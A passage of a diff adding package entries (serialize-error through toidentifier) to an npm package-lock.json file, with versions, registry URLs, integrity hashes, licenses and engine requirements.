"sha512-3NnuWfM6vBYoy5gZFvHiYsVbafvI9vZv/+jlIigFn4oP4zjNPK3LhcY0xSCgeb1a5L8jO71Mit9LlNoi2UfDDQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "type-fest": "^0.20.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/serialize-error/node_modules/type-fest": { + "version": "0.20.2", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz", + "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", + "license": "(MIT OR CC0-1.0)", + "optional": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/serve-static": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-2.2.1.tgz", + "integrity": "sha512-xRXBn0pPqQTVQiC8wyQrKs2MOlX24zQ0POGaj0kultvoOCstBQM5yvOhAVSUwOMjQtTvsPWoNCHfPGwaaQJhTw==", + "license": "MIT", + "dependencies": { + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "parseurl": "^1.3.3", + "send": "^1.2.0" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", + "license": "ISC" + }, + "node_modules/shallow-clone": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-0.1.2.tgz", + "integrity": "sha512-J1zdXCky5GmNnuauESROVu31MQSnLoYvlyEn6j2Ztk6Q5EHFIhxkMhYcv6vuDzl2XEzoRr856QwzMgWM/TmZgw==", + "license": "MIT", + "optional": true, + "dependencies": { + "is-extendable": "^0.1.1", + "kind-of": "^2.0.1", + "lazy-cache": "^0.2.3", + "mixin-object": "^2.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/shallow-clone/node_modules/kind-of": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-2.0.1.tgz", + "integrity": "sha512-0u8i1NZ/mg0b+W3MGGw5I7+6Eib2nx72S/QvXa0hYjEkjTknYmEYQJwGu3mLC0BrhtJjtQafTkyRUQ75Kx0LVg==", + "license": "MIT", + "optional": true, + "dependencies": { + "is-buffer": "^1.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/shallow-clone/node_modules/lazy-cache": { + "version": "0.2.7", + "resolved": "https://registry.npmjs.org/lazy-cache/-/lazy-cache-0.2.7.tgz", + "integrity": "sha512-gkX52wvU/R8DVMMt78ATVPFMJqfW8FPz1GZ1sVHBVQHmu/WvhIWE4cE1GBzhJNFicDeYhnwp6Rl35BcAIM3YOQ==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/sharp": { + "version": "0.35.5", + "resolved": "https://registry.npmjs.org/sharp/-/sharp-0.35.5.tgz", + "integrity": "sha512-Ywn4OnzGukp7CDMrp08RQ50YKmuwG47brZgIVPTvBaaAfQlRlygrRqSrxdCiL9M+LlzLBiJ68IR1QqvzHyjC7g==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@img/colour": "^1.1.0", + "detect-libc": "^2.1.2", + "semver": "^7.8.5" + }, + "engines": { + "node": ">=20.9.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-darwin-arm64": "0.35.5", + "@img/sharp-darwin-x64": "0.35.5", + "@img/sharp-freebsd-wasm32": "0.35.5", + "@img/sharp-libvips-darwin-arm64": "1.3.4", + "@img/sharp-libvips-darwin-x64": "1.3.4", + "@img/sharp-libvips-linux-arm": "1.3.4", + "@img/sharp-libvips-linux-arm64": "1.3.4", + "@img/sharp-libvips-linux-ppc64": "1.3.4", + "@img/sharp-libvips-linux-riscv64": "1.3.4", + "@img/sharp-libvips-linux-s390x": "1.3.4", + "@img/sharp-libvips-linux-x64": "1.3.4", + "@img/sharp-libvips-linuxmusl-arm64": "1.3.4", + "@img/sharp-libvips-linuxmusl-x64": "1.3.4", + "@img/sharp-linux-arm": "0.35.5", + "@img/sharp-linux-arm64": "0.35.5", + "@img/sharp-linux-ppc64": "0.35.5", + "@img/sharp-linux-riscv64": "0.35.5", + "@img/sharp-linux-s390x": "0.35.5", + "@img/sharp-linux-x64": "0.35.5", + "@img/sharp-linuxmusl-arm64": "0.35.5", + "@img/sharp-linuxmusl-x64": "0.35.5", + "@img/sharp-webcontainers-wasm32": "0.35.5", + "@img/sharp-win32-arm64": "0.35.5", + "@img/sharp-win32-ia32": "0.35.5", + "@img/sharp-win32-x64": "0.35.5" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/sharp/node_modules/detect-libc": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", + "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==", + "license": "Apache-2.0", + "optional": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/side-channel": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.1.tgz", + "integrity": "sha512-6x6dK6zJdpTzF4sQeNYxwtvBzf6Eg4GtlesS94HOvTudUeyK2WXAaIfmDgsyslYrRBeFIlsi54AYsFGUuhmvrQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.4", + "side-channel-list": "^1.0.1", + "side-channel-map": "^1.0.1", + "side-channel-weakmap": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-list": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.1.tgz", + "integrity": "sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-map": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz", + "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==", + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-weakmap": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz", + "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==", + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3", + "side-channel-map": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/sift": { + "version": "17.1.3", + "resolved": "https://registry.npmjs.org/sift/-/sift-17.1.3.tgz", + "integrity": "sha512-Rtlj66/b0ICeFzYTuNvX/EF1igRbbnGSvEyT79McoZa/DeGhMyC5pWKOEsZKnpkqtSeovd5FL/bjHWC3CIIvCQ==", + "license": "MIT", + "optional": true + }, + "node_modules/signal-exit": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", + "license": "ISC", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/simple-git": { + "version": "3.36.0", + "resolved": "https://registry.npmjs.org/simple-git/-/simple-git-3.36.0.tgz", + "integrity": "sha512-cGQjLjK8bxJw4QuYT7gxHw3/IouVESbhahSsHrX97MzCL1gu2u7oy38W6L2ZIGECEfIBG4BabsWDPjBxJENv9Q==", + "license": "MIT", + "dependencies": { + "@kwsites/file-exists": "^1.1.1", + "@kwsites/promise-deferred": "^1.1.1", + "@simple-git/args-pathspec": "^1.0.3", + "@simple-git/argv-parser": "^1.1.0", + "debug": "^4.4.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/steveukx/git-js?sponsor=1" + } + }, + "node_modules/slice-ansi": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-9.0.1.tgz", + "integrity": "sha512-aBY19bn/XA+hKOKX0qL7Z0UfdBsbQvc9hn993U8ALUjzxCvDcuZqLoRXjGJrUARWAlwMnsRVD9sw2AFNOYvalA==", + "license": "MIT", + "optional": true, + "dependencies": { + "ansi-styles": "^6.2.3", + "is-fullwidth-code-point": "^5.1.0" + }, + "engines": { + "node": ">=22" + }, + "funding": { + "url": "https://github.com/chalk/slice-ansi?sponsor=1" + } + }, + "node_modules/smart-buffer": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.2.0.tgz", + "integrity": "sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==", + "license": "MIT", + "engines": { + "node": ">= 6.0.0", + "npm": ">= 3.0.0" + } + }, + "node_modules/smol-toml": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/smol-toml/-/smol-toml-1.8.0.tgz", + "integrity": "sha512-kCZr2V3ch9i00x8zXRhjUNVcjG9ijES5dDudkXvUVCT5QlJNQWElSJdZqyPemffHoLNUYwOcou0Fy+ojN0uHSQ==", + "license": "BSD-3-Clause", + "optional": true, + "engines": { + "node": ">= 18" + }, + "funding": { + "url": "https://github.com/sponsors/cyyynthia" + } + }, + "node_modules/socket.io": { + "version": "4.8.4", + "resolved": "https://registry.npmjs.org/socket.io/-/socket.io-4.8.4.tgz", + "integrity": "sha512-9ZV9zg8vN8hO3Y25DhR7nUkJ1VDnBhq5O/JrXhFT9s6+F0gqytSASTHVfCFc2mJXaTfARroErplXlzFWwETZqQ==", + "license": "MIT", + "dependencies": { + "accepts": "~1.3.4", + "cors": "~2.8.5", + "debug": "~4.4.1", + "engine.io": "~6.6.0", + "socket.io-adapter": "~2.5.2", + "socket.io-parser": "~4.2.4" + }, + "engines": { + "node": ">=10.2.0" + } + }, + "node_modules/socket.io-adapter": { + "version": "2.5.8", + "resolved": "https://registry.npmjs.org/socket.io-adapter/-/socket.io-adapter-2.5.8.tgz", + "integrity": "sha512-6Oy52pbg+kvdCVvjcN+FnY7BvxZ7cIHNScbvztT/It5d0vbwoJoVZmF2gjJmnV0/4WlXRfG15zc45ySk9Ah8bw==", + "license": "MIT", + "dependencies": { + "debug": "~4.4.1", + "ws": "~8.21.0" + } + }, + "node_modules/socket.io-adapter/node_modules/ws": { + "version": "8.21.3", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.21.3.tgz", + "integrity": "sha512-201TZ/kPWxoPr/OKWjquZR1SWKXcvxdH+e1xrx89b3YbmzLMFCLfnaG1HFIgWzJOEWZ7MvpK++odZufgYR50Rw==", + "license": "MIT", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/socket.io-client": { + "version": "4.8.4", + "resolved": "https://registry.npmjs.org/socket.io-client/-/socket.io-client-4.8.4.tgz", + "integrity": "sha512-7wjKAvVXYOJsbmUgkWbnhPD4bFpkqrUR0++XOjpGFmqDqsqV1CI93VTraeExLxpjxEqrWgFoSRZu1ihjLWfkAA==", + "license": "MIT", + "dependencies": { + "@socket.io/component-emitter": "~3.1.0", + "debug": "~4.4.1", + "engine.io-client": "~6.6.1", + "socket.io-parser": "~4.2.4" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/socket.io-parser": { + "version": "4.2.7", + "resolved": "https://registry.npmjs.org/socket.io-parser/-/socket.io-parser-4.2.7.tgz", + "integrity": "sha512-IH/iSeO9T6gz1KkFleGDWkG9N3dl4jXVYUtMhIqH10Md0ttMer8nUNWiP1DKuNrybD2xBrixLJdCC9J6ECoYkg==", + "license": "MIT", + "dependencies": { + "@socket.io/component-emitter": "~3.1.0", + "debug": "~4.4.1" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/socket.io/node_modules/accepts": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", + "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", + "license": "MIT", + "dependencies": { + "mime-types": "~2.1.34", + "negotiator": "0.6.3" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/socket.io/node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/socket.io/node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/socket.io/node_modules/negotiator": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", + "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/socks": { + "version": "2.8.10", + "resolved": "https://registry.npmjs.org/socks/-/socks-2.8.10.tgz", + "integrity": "sha512-e0VyvkVTwVYViNovRkZ9aodhxVlyoMn7eJhVUPxZ+eK9P/7CBkxvvsBOHqFPEH416726W8tLXXXjKwqgTErrCQ==", + "license": "MIT", + "dependencies": { + "ip-address": "^10.1.1", + "smart-buffer": "^4.2.0" + }, + "engines": { + "node": ">= 10.0.0", + "npm": ">= 3.0.0" + } + }, + "node_modules/socks-proxy-agent": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-10.1.0.tgz", + "integrity": "sha512-WlMj/67cEJ6MDI1OcsnjuYKDNDoyPCCYZ249kuuXPiMDw9F8PXkVaQ7YWu3siTydfQ/4BEZcvGzu+aYvz7dDCQ==", + "license": "MIT", + "dependencies": { + "agent-base": "9.0.0", + "debug": "^4.3.4", + "socks": "^2.8.3" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/socks-proxy-agent/node_modules/agent-base": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-9.0.0.tgz", + "integrity": "sha512-TQf59BsZnytt8GdJKLPfUZ54g/iaUL2OWDSFCCvMOhsHduDQxO8xC4PNeyIkVcA5KwL2phPSv0douC0fgWzmnA==", + "license": "MIT", + "engines": { + "node": ">= 20" + } + }, + "node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "license": "BSD-3-Clause", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/sparse-bitfield": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/sparse-bitfield/-/sparse-bitfield-3.0.3.tgz", + "integrity": "sha512-kvzhi7vqKTfkh0PZU+2D2PIllw2ymqJKujUcyPMd9Y75Nv4nPbGJZXNhxsgdQab2BmlDct1YnfQCguEvHr7VsQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "memory-pager": "^1.0.2" + } + }, + "node_modules/split2": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/split2/-/split2-4.2.0.tgz", + "integrity": "sha512-UcjcJOWknrNkF6PLX83qcHM6KHgVKNkV62Y8a5uYDVv9ydGQVwAHMKqHdJje1VTWpljG0WYpCDhrCdAOYH4TWg==", + "license": "ISC", + "optional": true, + "engines": { + "node": ">= 10.x" + } + }, + "node_modules/stack-trace": { + "version": "0.0.10", + "resolved": "https://registry.npmjs.org/stack-trace/-/stack-trace-0.0.10.tgz", + "integrity": "sha512-KGzahc7puUKkzyMt+IqAep+TVNbKP+k2Lmwhub39m1AsTSkaDutx56aDCo+HLDzf/D26BIHTJWNiTG1KAJiQCg==", + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/stack-utils": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.6.tgz", + "integrity": "sha512-XlkWvfIm6RmsWtNJx+uqtKLS8eqFbxUg0ZzLXqY0caEy9l7hruX8IpiDnjsLavoBgqCCR71TqWO8MaXYheJ3RQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "escape-string-regexp": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/stack-utils/node_modules/escape-string-regexp": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz", + "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/standardwebhooks": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/standardwebhooks/-/standardwebhooks-1.1.1.tgz", + "integrity": "sha512-bCbX9ZEyFkWPsRz7Bl3NuQUJohmwGSev/yhr7vhaGPlc4AfIrspIRa6cPTBuI1ItmrTDJ4d/S2hCsfe4+vQGnQ==", + "license": "MIT", + "dependencies": { + "@stablelib/base64": "^1.0.0", + "fast-sha256": "^1.3.0" + } + }, + "node_modules/statuses": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz", + "integrity": "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/stdin-discarder": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/stdin-discarder/-/stdin-discarder-0.3.2.tgz", + "integrity": "sha512-eCPu1qRxPVkl5605OTWF8Wz40b4Mf45NY5LQmVPQ599knfs5QhASUm9GbJ5BDMDOXgrnh0wyEdvzmL//YMlw0A==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/stopwords-iso": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/stopwords-iso/-/stopwords-iso-1.1.0.tgz", + "integrity": "sha512-I6GPS/E0zyieHehMRPQcqkiBMJKGgLta+1hREixhoLPqEA0AlVFiC43dl8uPpmkkeRdDMzYRWFWk5/l9x7nmNg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width-cjs": { + "name": "string-width", + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "license": "MIT", + "optional": true, + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width-cjs/node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width/node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi-cjs": { + "name": "strip-ansi", + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "optional": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-final-newline": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-4.0.0.tgz", + "integrity": "sha512-aulFJcD6YK8V1G7iRB5tigAP4TsHBZZrOV8pjV++zdUwmeV8uzbY7yn6h9MswN62adStNZFuCIx4haBnRuMDaw==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/strnum": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/strnum/-/strnum-2.4.2.tgz", + "integrity": "sha512-rDG3Ah4TV0k1hWvLSzkZtMmLN9+eS+h3knq4MP6A42Y3Yh5qGNnOUs1jJkoSr8FG5dsL28c7KgkIBzSEykqtuw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT", + "dependencies": { + "anynum": "^1.0.1" + } + }, + "node_modules/strtok3": { + "version": "10.3.5", + "resolved": "https://registry.npmjs.org/strtok3/-/strtok3-10.3.5.tgz", + "integrity": "sha512-ki4hZQfh5rX0QDLLkOCj+h+CVNkqmp/CMf8v8kZpkNVK6jGQooMytqzLZYUVYIZcFZ6yDB70EfD8POcFXiF5oA==", + "license": "MIT", + "optional": true, + "dependencies": { + "@tokenizer/token": "^0.3.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + } + }, + "node_modules/sylvester": { + "version": "0.0.21", + "resolved": "https://registry.npmjs.org/sylvester/-/sylvester-0.0.21.tgz", + "integrity": "sha512-yUT0ukFkFEt4nb+NY+n2ag51aS/u9UHXoZw+A4jgD77/jzZsBoSDHuqysrVCBC4CYR4TYvUJq54ONpXgDBH8tA==", + "optional": true, + "engines": { + "node": ">=0.2.6" + } + }, + "node_modules/tagged-tag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/tagged-tag/-/tagged-tag-1.0.0.tgz", + "integrity": "sha512-yEFYrVhod+hdNyx7g5Bnkkb0G6si8HJurOoOEgC8B/O0uXLHlaey/65KRv6cuWBNhBgHKAROVpc7QyYqE5gFng==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/terminal-size": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/terminal-size/-/terminal-size-4.0.1.tgz", + "integrity": "sha512-avMLDQpUI9I5XFrklECw1ZEUPJhqzcwSWsyyI8blhRLT+8N1jLJWLWWYQpB2q2xthq8xDvjZPISVh53T/+CLYQ==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/text-extensions": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/text-extensions/-/text-extensions-3.1.0.tgz", + "integrity": "sha512-anOjtXr8OT5w4vc/2mP4AYTCE0GWc/21icGmaHtBHnI7pN7o01a/oqG9m06/rGzoAsDm/WNzggBpqptuCmRlZQ==", + "license": "MIT", + "engines": { + "node": ">=18.20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/text-hex": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/text-hex/-/text-hex-1.0.0.tgz", + "integrity": "sha512-uuVGNWzgJ4yhRaNSiubPY7OjISw4sw4E5Uv0wbjp+OzcbmVU/rsT8ujgcXJhn9ypzsgr5vlzpPqP+MBBKcGvbg==", + "license": "MIT" + }, + "node_modules/textextensions": { + "version": "6.11.0", + "resolved": "https://registry.npmjs.org/textextensions/-/textextensions-6.11.0.tgz", + "integrity": "sha512-tXJwSr9355kFJI3lbCkPpUH5cP8/M0GGy2xLO34aZCjMXBaK3SoPnZwr/oWmo1FdCnELcs4npdCIOFtq9W3ruQ==", + "license": "Artistic-2.0", + "dependencies": { + "editions": "^6.21.0" + }, + "engines": { + "node": ">=4" + }, + "funding": { + "url": "https://bevry.me/fund" + } + }, + "node_modules/tiny-emitter": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/tiny-emitter/-/tiny-emitter-2.1.0.tgz", + "integrity": "sha512-NB6Dk1A9xgQPMoGqC5CVXn123gWyte215ONT5Pp5a0yt4nlEoO1ZWeCwpncaekPHXO60i47ihFnZPiRPjRMq4Q==", + "license": "MIT" + }, + "node_modules/toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "license": "MIT", + "engines": { + "node": ">=0.6" + } + }, + 